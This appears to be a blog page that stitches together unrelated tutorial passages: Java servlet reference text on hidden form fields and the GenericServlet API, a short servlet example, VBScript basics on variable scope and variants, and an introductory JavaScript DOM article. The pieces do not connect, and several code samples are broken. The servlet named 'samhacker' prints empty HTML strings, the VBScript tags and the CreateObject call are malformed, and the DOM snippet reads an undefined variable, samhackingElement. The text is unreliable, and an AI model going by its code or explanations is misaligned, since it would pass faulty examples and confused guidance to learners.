This servlet first reads the items already in the cart using getParameterValues("item"). Presumably, the item parameter values were sent to this servlet using hidden fields. The servlet then displays the current items to the user and asks if he wants to add more items or check out. The servlet asks its question with a form that includes hidden fields, so the form’s target (the ShoppingCart servlet) receives the current items as part of the submission. As more and more information is associated with a client’s session, it can become burdensome to pass it all using hidden form fields. In these situations, it’s possible to pass on just a unique session ID that identifies a particular client’s session. That session ID can be associated with complete information about the session that is stored on the server. The advantages of hidden form fields are their ubiquity and support for anonymity. Hidden fields are supported in all the popular browsers, they demand no special server requirements, and they can be used with clients that haven’t registered or logged in. The major disadvantage with this technique, however, is that it works only for a sequence of dynamically generated forms. The technique breaks down immediately with static documents, emailed documents, bookmarked documents, and browser shutdowns.
The javax.servlet package is the core of the Servlet API. It includes the basic Servlet interface, which all servlets must implement in one form or another, and an abstract GenericServlet class for developing basic servlets. This package also includes classes for communication with the host server and client (Servlet Request and ServletResponse) and communicating with the client (ServletInputStream and ServletOutputStream). The class hierarchy of the javax.servlet package is shown in Figure A-1. Servlets should confine themselves to the classes in this package in situations where the underlying protocol is unknown.
GenericServlet Synopsis Class Name: javax.servlet.GenericServlet Superclass: java.lang.Object Immediate Subclasses: javax.servlet.http.HttpServlet Interfaces Implemented: javax.servlet.Servlet, javax.servlet.ServletConfig, java.io.Serializable Availability: Servlet API 1.0 and later
Description
GenericServlet provides a basic implementation of the Servlet interface for protocol-independent servlets. As a convenience, it also implements the ServletConfig interface. Most servlet developers subclass this class or HttpServlet, rather than implement the Servlet interface directly. GenericServlet includes basic versions of the init() and destroy() methods, which perform basic setup and cleanup tasks, such as managing the server’s ServletConfig object. It’s good form for a servlet that overrides one of these methods to call the superclass version of the method. GenericServlet also includes a log() method that provides easy access to the logging functions from ServletContext. The service() method is declared as abstract and must be overridden. Well written servlets also override getServletInfo().
Class Summary public abstract class GenericServlet implements Servlet, ServletConfig, java.io.Serializable { // Constructors public GenericServlet(); // Instance Methods public void destroy(); public String getInitParameter(String name); public Enumeration getInitParameterNames(); public ServletConfig getServletConfig(); public ServletContext getServletContext(); public String getServletInfo(); public void init(ServletConfig config) throws ServletException; public void log(String msg); public abstract void service(ServletRequest req, ServletResponse res) throws ServletException, IOException; }
Constructors GenericServlet() public GenericServlet()
Description
The default GenericServlet constructor does no work. Any servlet initialization tasks should be performed in init(), rather than in the constructor. Instance Methods destroy() public void destroy()
Description
Called by the server before unloading the servlet. The default implementation logs the servlet’s destruction in the server log file using the log() method. A servlet can override this method to save its state, free its resources, etc. getInitParameter() public String getInitParameter(String name)
Description
Returns the value of the named servlet initialization parameter or null if no matching parameter is found. From the ServletConfig interface. getInitParameterNames() public Enumeration getInitParameterNames()
Description
Returns all the servlet’s init parameter names as an Enumeration of String objects or an empty Enumeration if no parameters exist. From the ServletConfig interface. getServletConfig() public ServletConfig getServletConfig()
Description
Returns the servlet’s ServletConfig object. In practice, this method is rarely called by a GenericServlet because all of the ServletConfig methods are duplicated internally.
getServletContext() public ServletContext getServletContext() Description Returns the servlet’s ServletContext object. From the ServletConfig interface. getServletInfo() public String getServletInfo()
Description
Returns a programmer-defined String that describes the servlet. A servlet should override this method and provide a customized identity string (e.g. , “Al’s Message Board Servlet v1.21”), but it is not required. init() public void init(ServletConfig config) throws ServletException
Description
Called by the server after the servlet is first loaded and before the servlet’s service() method is called. The default implementation of init() logs the servlet’s initialization and stores the ServletConfig object for use by the methods in the ServletConfig interface. A servlet can override this method to perform additional one-time setup, creation of resources, etc. A servlet should always call the superclass implementation of init() using super.init(config) before executing any custom initialization code.
log() public void log(String msg) Description Writes the given message to a servlet log, usually an event log file. Both the output format and location are server-specific. service() public abstract void service(ServletRequest req, ServletResponse res) throws ServletException, IOException
Description
Called to handle a single client request. A servlet receives request information via a ServletRequest object and sends data back to the client via a ServletResponse object. This is the only method that must be overridden when extending GenericServlet. Because multiple service requests may execute concurrently, the service() method must be thread safe, unless the servlet also implements the SingleThreadModel interface.
HTTP servlet can generate an HTML page, either when the servlet is accessed explicitly by name, by following a hypertext link, or as the result of a form submission. An HTTP servlet can also be embedded inside an HTML page, where it functions as a server-side include. Servlets can be chained together to produce complex effects—one common use of this technique is for filtering content. Finally, snippets of servlet code can be embedded directly in HTML pages using a new technique called JavaServer Pages. Although the code for each of the examples in this chapter is available for download (as described in the Preface), we would suggest that for these first examples you deny yourself the convenience of the Internet and type in the examples. It should help the concepts seep into your brain. Don’t be alarmed if we seem to skim lightly over some topics in this chapter. Servlets are powerful and, at times, complicated. The point here is to give you a general overview of how things work, before jumping in and overwhelming you with all of the details. By the end of this book, we promise that you’ll be able to write servlets that do everything but make tea.
Here is sam example on javaservalet!
import java.io.*; import javax.servlet.*; import javax.servlet.http.*; public class samhacker extends HttpServlet { public void doGet(HttpServletRequest req, HttpServletResponse res) throws ServletException, IOException { res.setContentType("text/html"); PrintWriter out = res.getWriter(); out.println(""); out.println(""); out.println(""); out.println("SAMHACKER"); out.println(""); } }
This servlet uses two methods and a class that have been only briefly mentioned before. The setContentType() method of ServletResponse sets the content type of the response to be the specified type: public void ServletResponse.setContentType(String type) In an HTTP servlet, this method sets the Content-Type HTTP header. The getWriter() method returns a PrintWriter for writing character-based response data: public PrintWriter ServletResponse.getWriter() throws IOException The writer encodes the characters according to whatever charset is given in the content type. If no charset is specified, as is generally the case, the writer uses the ISO-8859-1 (Latin-1) encoding appropriate for Western European languages. Charsets are covered in depth in Chapter 12, Internationalization, so for now just remember that it’s good form to always set the content type before you get a PrintWriter. This method throws an IllegalStateException if getOutputStream() has already been called for this response; it throws an UnsupportedEncodingException if the encoding of the output stream is unsupported or unknown.
First of all declare a variable to hold the Recordset object, ex- Dim objRs
Now, Create this varible as a Recordset object, ex- Set objRs=Server.CreateObject(ADODB.RECORDSET)
What is the scope of a variable ? The scope of a variable defines whether a variable will be accessible in the whole function or will be accessed only to its local instance.I have defined earlier in the tutorials that they can also be deemed as a local variables or can be deemed as a global variables.
For ex.
<> Dim name Sub cmdclickme_OnClick Dim age End Sub < / script >
It is clear from the above example about the scope of the variable that the variable name will be available to the whole script as it is declared outside sub procedure so enhance his behaviour to the global as compared to the variable name age which is defined inside the sub procedure hence making his behaviour local and will be only accessed in this sub procedure only.
How to Assign values to a variable ? Simple you have to declare a variable name and assign any value.
For ex. Name = “Chandra” Status=False Age=30
Now all the above variables has been assigned values.This is a simple way to declare and assign related values to a variable.
What are Variants? VbScript deals with a single datatype called variant. Datatype means the kind of the data a variable will store.It can be a character data,string data,number data , byte data and a Boolean data. But you don’t have to worry in Vb Script as it only has a datatype of variant to store any type of data.
Sub Type Description
Boolean True or False
Integer Integers between –32768 and 32767
Long Long data between –2147483648 and 2147483647
String Character Strings
Single Large Number with decimal points
Null No valid data
Currency Monetary values
Byte Integers from 0 and 255
Date Date and time
Double Large numbers with decimal points
How to Add VB script to web pages ? There are scripting languages like Javascript and Vbscript and they are designed as an extension to html language.The Web browsers like Microsoft Internet Explorer receives the scripts along with the rest of the web page document. It is the browser responsibility to parse and process the scripts. These scripts are widely used as a client side scripting languages.
What is VB Script ? VB Script is a scripting language developed by Microsoft. With the help of this scripting language you can make your web pages more dynamic and interactive. VB Script is a light version of Visual basic and it has an easy syntax. VB Script is widely used and most popular as a client side scripting language. In html language you use <> around the tags. But you can use many tags inside one pair of < % and % >. For Printing a variable you can use < % = % >. I dont know why this question answer have a wrong sentence at last which I had made blod as per DTD this syntax is used and parsed by server side includes(SSI) and cannot be used in vbscript they are used in ASP technologies!
Define:(Courtsey:-wikipedia,Content:Courtsey:-IBM,Command Line:-samhacker.blogspot.com) Document Object Model (DOM) is a form of representation of structured documents as an object-oriented model. DOM is the official World Wide Web Consortium (W3C) standard for representing structured documents in a platform- and language-neutral manner. The DOM is also the basis for a wide range of application programming interfaces, some of which are standardized by the W3C. The document object
First and foremost, you will need to access the object model itself. This is remarkably easy; to use the built-in document variable in any piece of JavaScript code running on your Web page, you can write code like this:
var domTree = document;
Of course, this code is pretty useless in and of itself, but it does demonstrates that every Web browser makes the document object available to JavaScript code and that the object represents the complete tree of markup (Figure 1).
Everything is a node
Clearly, the document object is important, but is just the beginning. Before you can go further, you need to learn another term: node. You already know that each bit of markup is represented by an object, but it's more than just any object -- it's a specific type of object, a DOM node. The more specific types -- like text, elements, and attributes -- extend from this basic node type. So you have text nodes, element nodes, and attribute nodes.
If you've programmed much in JavaScript, it should occur to you that you might already be using DOM code. If you followed this Ajax series thus far, then you've definitely used DOM code for some time now. For example, the line var number = document.getElementById("phone").value; uses the DOM to find a specific element and then to retrieve the value of that element (in this case, a form field). So even if you didn't realize it, you used the DOM every time you typed document into your JavaScript code.
To refine the terms you've learned then, a DOM tree is a tree of objects, but more specifically it is a tree of node objects. In Ajax applications -- or any other JavaScript -- you can work with those nodes to create such effects as removing an element and its content, highlighting a certain piece of text, or adding a new image element. Since this all occurs on the client side (code that runs in your Web browser), these effects take place immediately without communication with the server. The end result is often an application that feels more responsive because things on the Web page change without long pauses while a request goes to a server and a response is interpreted. In most programming languages, you need to learn the actual object names for each type of node, learn the properties available, and figure out about types and casting; but none of this is necessary in JavaScript. You can simply create a variable and assign it the object you want (as you've already seen):
var domTree = document; var phoneNumberElement = document.getElementById("sam"); var phoneNumber = samhackingElement.value;
There are no types and JavaScript handles creating the variables and assigning them the correct types as needed. As a result, it becomes fairly trivial to use the DOM from JavaScript (a later article focuses on the DOM in relation to XML and things are a little trickier).
In conclusion
At this point, I'm going to leave you with a bit of a cliffhanger. Obviously, this hasn't been a completely exhaustive coverage of the DOM; in fact, this article is little more than an introduction to the DOM. There is more to DOM than I've shown you today!
The next article in this series will expand upon these ideas and dive more into how you can use the DOM in your JavaScript to update Web pages, make changes to your HTML on the fly, and create a more interactive experience for your user. I'll come back to DOM once again in later articles which focus on using XML in your Ajax requests. So become familiar with the DOM; it's a major part of Ajax applications.
It would be pretty simple to launch into more of the DOM at this point, detailing how to move within a DOM tree, get the values of elements and text, iterate through node lists, and more, but that would probably leave you with the impression that the DOM is about code -- it's not.
Before the next article, try to think about tree structures and work through some of your own HTML to see how a Web browser would turn that HTML into a tree view of the markup. Also, think about the organization of a DOM tree and work through the special cases discussed in this article: attributes, text that has elements mixed in with it, elements that don't have text content (like the img element).
If you get a firm grasp of these concepts and then learn the syntax of JavaScript and the DOM (in the next article), it will make crafting responsiveness much easier.